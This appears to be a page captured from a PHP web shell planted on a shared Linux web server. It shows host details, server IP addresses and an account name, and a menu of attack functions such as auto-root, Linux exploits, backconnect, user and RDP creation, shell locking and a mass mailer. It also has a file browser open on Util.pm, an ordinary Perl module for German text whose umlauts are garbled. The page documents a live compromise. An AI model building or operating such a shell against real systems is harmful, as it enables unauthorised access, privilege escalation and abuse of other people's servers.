Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Text /
German /
[ HOME SHELL ]
Name
Size
Permission
Action
Adjektiv.pm
1.6
KB
-rw-r--r--
Ausnahme.pm
1.36
KB
-rw-r--r--
Cache.pm
2.02
KB
-rw-r--r--
Endung.pm
4.05
KB
-rw-r--r--
Regel.pm
18.29
KB
-rw-r--r--
Util.pm
977
B
-rw-r--r--
Verb.pm
9.45
KB
-rw-r--r--
Vorsilbe.pm
1.51
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Util.pm
# -*- Mode: Perl -*- # Util.pm -- # Author : Ulrich Pfeifer # Created On : Thu Feb 1 16:08:41 1996 # Last Modified By: Ulrich Pfeifer # Last Modified On: Sun Apr 3 11:44:12 2005 # Language : Perl # Update Count : 8 # Status : Unknown, Use with caution! package Text::German::Util; require Exporter; @ISA = qw(Exporter); @EXPORT = qw(bit_to_int wordclass $CAPITAL $LOWER $ADJEKTIV $UMLAUTR $VERB $FUNNY $ADJEKTIV $ANY); sub bit_to_int { my $bitvec = shift; unpack('I', pack('b*', $bitvec)."\0\0\0\0"); } $CAPITAL = bit_to_int('10000'); $LOWER = bit_to_int('01111'); $ADJEKTIV = bit_to_int('00100'); $VERB = bit_to_int('01000'); $FUNNY = bit_to_int('01001'); $ANY = bit_to_int('11111'); $UMLAUTR = "[�]"; sub wordclass { my ($word, $satz_anfang) = @_; if ($satz_anfang) { return $ANY; } elsif ($word =~ /^[A-Z���]/) { $CAPITAL; } else { $LOWER; } }
Close
